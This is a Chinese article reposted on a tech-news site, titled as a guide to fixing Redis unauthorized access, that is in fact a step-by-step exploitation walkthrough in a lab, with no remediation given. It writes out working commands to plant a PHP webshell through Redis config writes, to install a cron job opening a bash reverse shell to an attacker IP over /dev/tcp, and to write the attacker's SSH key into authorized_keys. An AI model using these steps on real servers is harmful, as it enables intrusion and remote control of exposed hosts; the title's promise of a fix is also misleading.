iis服务器助手广告
返回顶部
首页 > 资讯 > 精选 >Redis中出现未授权访问如何解决
  • 355
分享到

Redis中出现未授权访问如何解决

2023-06-20 15:06:15 355人浏览 八月长安
摘要

这期内容当中小编将会给大家带来有关Redis中出现未授权访问如何解决,文章内容丰富且以专业的角度为大家分析和叙述,阅读完这篇文章希望大家可以有所收获。漏洞原理Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的

这期内容当中小编将会给大家带来有关Redis中出现未授权访问如何解决,文章内容丰富且以专业的角度为大家分析和叙述,阅读完这篇文章希望大家可以有所收获。

漏洞原理

Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器/root/.ssh文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。

利用条件

  • redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源 ip 访问等相关安全策略,直接暴露在公网

  • 没有设置密码认证(一般为空),可以免密码远程登录redis服务

漏洞危害

  • 攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据

  • 攻击者可通过eval执行lua代码,或通过数据备份功能往磁盘写入后门文件

  • 最严重的情况,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器

漏洞复现

搭建测试环境

受害机ubuntu 20.04

  1. 安装PHPsudo apt install php7.4-cli libapache2-mod-php

  2. 安装apache2:sudo apt install apache2 。并启动apache服务:sudo service apache2 start

  3. 安装redis,环境需要4.x/5.x以下的redis版本,这里下载3.2版本的,并解压、编译:

$ wget Http://download.redis.io/releases/redis-3.2.11.tar.gz$ tar -zxvf redis-3.2.11.tar.gz$ cd redis-3.2.11$ make

如果make 时遇到以下报错,需要安装GCc,并设置启动参数:

错误信息如下:

/bin/sh: cc: command not found

解决办法,安装gcc:

sudo apt install gcc

然后设置make启动参数后即可运行:

make MALLOC=libc

编译完成后,进入src目录下,复制redis-cliredis-server/usr/bin/目录下:

$ cd src$ sudo cp redis-cli redis-server /usr/bin/

回到redis-3.2.11目录中,复制redis.conf文件到/etc/目录下:

$ cd ..$ sudo cp redis.conf /etc/

使用sudo vim /etc/redis.conf 编辑配置文件,将61行的IP注释起来,表示外网可访问,如下:

Redis中出现未授权访问如何解决

然后将80行的yes改为no,表示关闭保护模式,如下:

Redis中出现未授权访问如何解决
然后保存退出。

使用redis-server /etc/redis.conf启动redis服务:

Redis中出现未授权访问如何解决

打开一个新的终端,在窗口使用redis-cli 命令,测试能否正常连接redis:

Redis中出现未授权访问如何解决

使用quit退出redis命令行,然后在Ubuntu终端中开启ssh服务,确保后面能使用ssh进行连接:

$ sudo service ssh start

攻击机Kali 2021.1

只要能连上redis即可,需要有redis-cli 命令,如果没有redis,需要进行安装:
bash $ sudo apt install redis-tools

利用redis写入WEBshell

利用条件

  • 服务器开着web服务

  • redis有web目录写权限,可以往web路径写入文件

利用过程

测试使用Kali连接Ubuntu的redis服务:

$ redis-cli -h 192.168.101.6

Redis中出现未授权访问如何解决

如果成功连接上受害机,说明受害机存在redis未授权访问漏洞。

redis可以写入文件。使用config get dir 命令可以查看写入文件的目录,并且可以用来修改写入文件的目录。如下:

Redis中出现未授权访问如何解决

因为web服务无法访问到/home目录下的内容,所以需要修改redis保存文件的路径,将其修改到网站的根目录下,也就是 默认的 /var/www/html 目录。因此redis需要具有对/var/www/html 写入的权限,使用config set dir /var/www/html 来修改dir的值:

Redis中出现未授权访问如何解决

然后使用redis写入文件:

$ config set dbfilename shell.php$ set xxx "<?php phpinfo(); ?>"$ save

然而并不能写入文件,结果如下:

Redis中出现未授权访问如何解决

具体原因是因为redis对web根目录没有写入权限,这是一个比较重要的点,也是能否利用未授权访问来getshell的因素之一。为了测试,此时需要手动在受害机网站根目录中,新建一个其他用户具有可写入权限的文件夹,然后再将redis保存文件的dir值修改为新建文件夹的路径:

Redis中出现未授权访问如何解决

Redis中出现未授权访问如何解决
此时再次进行写入,可以看到已经保存成功了:

Redis中出现未授权访问如何解决

成功写入文件后可以在受害机中进行查看:

Redis中出现未授权访问如何解决

现在在浏览器中访问这个页面试试:

Redis中出现未授权访问如何解决

从上面的访问结果可以看出我们写入的php代码已经成功执行并返回。再次写入文件,将一句话木马写入到目录中:

Redis中出现未授权访问如何解决

访问webshell页面:

Redis中出现未授权访问如何解决

使用蚁剑连接webshell:

Redis中出现未授权访问如何解决

利用redis反弹shell

原理:在攻击机上开启nc反弹端口监听,通过redis未授权访问漏洞,写入linux定时计划,反弹shell。

利用条件对/var/spool/cron文件夹有写入权限

利用过程首先在攻击机监听一个端口:

$ nc -lvnp 6666

Redis中出现未授权访问如何解决

在攻击机开启新的命令行窗口,连接受害机的redis服务,然后执行下面的命令:

$ set x "\n\n\n* * * * * bash -i >& /dev/tcp/192.168.101.8/6666 0>&1\n\n\n"$ config set dir /var/spool/cron/$ config set dbfilename root$ save

Redis中出现未授权访问如何解决

注意此处的计划任务命令,如果在Ubuntu中,是无法反弹shell的,原因是因为ubuntu会将redis写入的缓存乱码当作命令来解释,导致执行不成功。而Centos不会对乱码进行解释,可以成功执行反弹shell的命令。

可以在受害机查看文件是否保存成功:

Redis中出现未授权访问如何解决

但是在ubuntu下无法反弹shell,这是由于redis向任务计划文件里写内容出现乱码而导致的语法错误,而乱码是避免不了的,centos会忽略乱码去执行格式正确的任务计划,而ubuntu并不会忽略这些乱码,所以导致命令执行失败,因为自己如果不使用redis写任务计划文件,而是正常向/etc/cron.d目录下写任务计划文件的话,命令是可以正常执行的,所以还是乱码的原因导致命令不能正常执行,而这个问题是不能解决的,因为利用redis未授权访问写的任务计划文件里都有乱码,这些代码来自redis的缓存数据。

利用redis写入ssh公钥

利用条件受害机必须有~/.ssh文件夹,无论是普通用户还是root用户,否则无法在redis中设置dir的值

直接使用~/.ssh是不行的,需要绝对路径。

Redis中出现未授权访问如何解决

另一个条件就是需要知道家目录的名称,比如上面的/home/unravel/.ssh,必须知道unravel

利用过程首先在攻击机生成ssh公钥,用于连接受害机时来使用私钥验证登陆:

$ ssh-keygen

Redis中出现未授权访问如何解决

将公钥开头和结尾添加两行换行,并存储为新的文本文件,用于redis在连接时写入的内容。添加两个换行的原因是对redis缓存垃圾数据和公钥的内容分隔开来,以免ssh连接失败。可以使用bash命令来完成这个操作:

(echo -e "\n\n";cat ~/.ssh/id_rsa.pub;echo -e "\n\n") > key.txt

Redis中出现未授权访问如何解决

使用攻击机连接受害机时写入变量xx存储攻击机的公钥:

cat key.txt | redis-cli -h 192.168.101.6 -x set x

Redis中出现未授权访问如何解决

使用攻击机连接受害机redis,将写入的文件路径设置为/home/unravel/.ssh,并设置保存的文件名称为authorized_keys

注意authorized_keys名称是固定的,不能随便改,否则连接不上ssh
bash $ config set dir /home/unravel/.ssh $ config set dbfilename authorized_keys $ save

Redis中出现未授权访问如何解决

然后在受害机文件中查看一下:

Redis中出现未授权访问如何解决

在攻击机尝试使用本地私钥对受害机进行连接:

$ ssh unravel@192.168.101.6 -i ~/.ssh/id_rsa

Redis中出现未授权访问如何解决

上述就是小编为大家分享的Redis中出现未授权访问如何解决了,如果刚好有类似的疑惑,不妨参照上述分析进行理解。如果想知道更多相关知识,欢迎关注编程网精选频道。

--结束END--

本文标题: Redis中出现未授权访问如何解决

本文链接: https://www.lsjlt.com/news/297825.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
  • Redis中出现未授权访问如何解决
    这期内容当中小编将会给大家带来有关Redis中出现未授权访问如何解决,文章内容丰富且以专业的角度为大家分析和叙述,阅读完这篇文章希望大家可以有所收获。漏洞原理Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的...
    99+
    2023-06-20
  • 访问redis显示未授权访问怎么解决
    如果您在访问Redis时收到“未授权访问”的错误,这可能是因为Redis未配置访问密码或未正确配置安全组规则导致的。您可以按照以下步...
    99+
    2023-08-23
    redis
  • 关于Redis未授权访问的问题
    目录漏洞原理利用条件漏洞危害漏洞复现搭建测试环境攻击机Kali 2021.1利用redis写入webshell利用redis反弹shell利用redis写入ssh公钥总结漏洞原理 R...
    99+
    2024-04-02
  • 解析Redis未授权访问漏洞复现与利用危害
    目录一、漏洞简介以及危害:1.什么是redis未授权访问漏洞:2.漏洞的危害3.漏洞的影响二、漏洞复现:三、未授权访问漏洞测试0x01 利用redis写webshell0&...
    99+
    2024-04-02
  • Java安全漏洞:Druid未授权访问解决
    Java安全漏洞:Druid未授权访问 前言一、Druid未授权访问原因分析二、解决办法1.添加登录用户名密码2.禁用Druid监控页功能 总结 前言 相信很多朋友在服务器安全扫描的...
    99+
    2023-09-03
    java 数据库 开发语言 系统安全 安全
  • Docker API未授权访问漏洞问题怎么解决
    本篇内容主要讲解“Docker API未授权访问漏洞问题怎么解决”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“Docker API未授权访问漏洞问题怎么解决”吧!因为dock...
    99+
    2023-07-05
  • Apache APISIX Dashboard未授权访问漏洞怎么解决
    今天小编给大家分享一下Apache APISIX Dashboard未授权访问漏洞怎么解决的相关知识点,内容详细,逻辑清晰,相信大部分人都还太了解这方面的知识,所以分享这篇文章给大家参考一下,希望大家阅读完这篇文章后有所...
    99+
    2023-07-05
  • Redis未授权访问配合SSH key文件利用详解
    前言 Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。 Redis 未授权访问的问题是一直存在的问题,知道创宇安全研...
    99+
    2024-04-02
  • SpringBootActuator未授权访问漏洞修复详解
    目录1.写在前面2.问题描述3.安全问题4.禁止方法5.完全禁用Actuator1.写在前面 目前SpringBoot得框架,越来越广泛,大多数中小型企业,在开发新项目得时候。后端语...
    99+
    2024-04-02
  • redis未授权漏洞如何处理
    redis未授权漏洞的处理方法:1.禁用远程修改DB文件地址。2.添加requirepass mypassword。3.禁止外网访问Redis。4.将配置文件中”Port 6379“改成其他端口。5.设置iptables策略仅允许指定的IP...
    99+
    2024-04-02
  • 尝试访问 GitLab 存储库列表时出现“401 未经授权”错误
    今天编程网给大家带来了《尝试访问 GitLab 存储库列表时出现“401 未经授权”错误》,其中涉及到的知识点包括等等,无论你是小白还是老手,都适合看一看哦~有好的建议也欢迎大家在评论留言,若是看完...
    99+
    2024-04-05
  • redis访问太频繁出现超时现象如何解决
    出现Redis访问频繁导致超时的问题,可以通过以下几种方法来解决: 调整Redis配置:可以通过修改Redis的配置文件增加最大...
    99+
    2024-04-09
    redis
  • 揭秘 HTTP 401 未授权:PHP 开发中的访问限制问题
    http 401 未授权错误表明服务器无法接受未经验证的请求。为了解决此问题,可以遵循以下步骤:启用 http 基本身份验证以提示用户输入凭据。验证提供的凭据,仅允许授权用户访问。 揭...
    99+
    2024-04-09
    http 访问限制 敏感数据
  • 如何基于JWT实现接口的授权访问详解
    目录 什么是JWTJWT的结构HeaderPayloadSignature解码后的JWTJWT是怎样工作的在JAVA里使用JWT引入依赖JWTService生成JWT解码J...
    99+
    2024-04-02
  • 如何解决微信小程序出现wx.getLocation再次授权的问题
    这篇文章主要介绍了如何解决微信小程序出现wx.getLocation再次授权的问题,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让小编带着大家一起了解一下。具体如下:首...
    99+
    2024-04-02
  • 搭建网站时提示未被授权如何解决
    搭建网站时提示未被授权的解决方法使用组合键“win+R”运行“secpol.msc”,进入本地安全策略;在本地安全策略界面中,点击“本地策略”,选择“用户权限分配”;在权限列表中,查找到“从网络访问此计算机”,右键属性,点击“添加用户或组”...
    99+
    2024-04-02
  • 无internet访问权限如何解决
    本篇内容介绍了“无internet访问权限如何解决”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!无internet访问权限的解决方法:检查网...
    99+
    2023-07-02
  • 在Tomcat中访问localhost时出现404如何解决
    今天就跟大家聊聊有关在Tomcat中访问localhost时出现404如何解决,可能很多人都不太了解,为了让大家更加了解,小编给大家总结了以下内容,希望大家根据这篇文章可以有所收获。错误的路径配置如下:正确的配置应该是:但是当我这样操作之后...
    99+
    2023-06-14
  • 如何解决Nagios apache访问权限问题
    这篇文章主要讲解了“如何解决Nagios apache访问权限问题”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“如何解决Nagios apache访问权限问题”吧!Nagios web界面提...
    99+
    2023-06-16
  • 如何解决网站出现降权的问题
    这篇文章主要讲解了“如何解决网站出现降权的问题”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“如何解决网站出现降权的问题”吧!  首先,我们应该回想一下最近一周到半月内我们针对网站做了哪些改变...
    99+
    2023-06-10
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作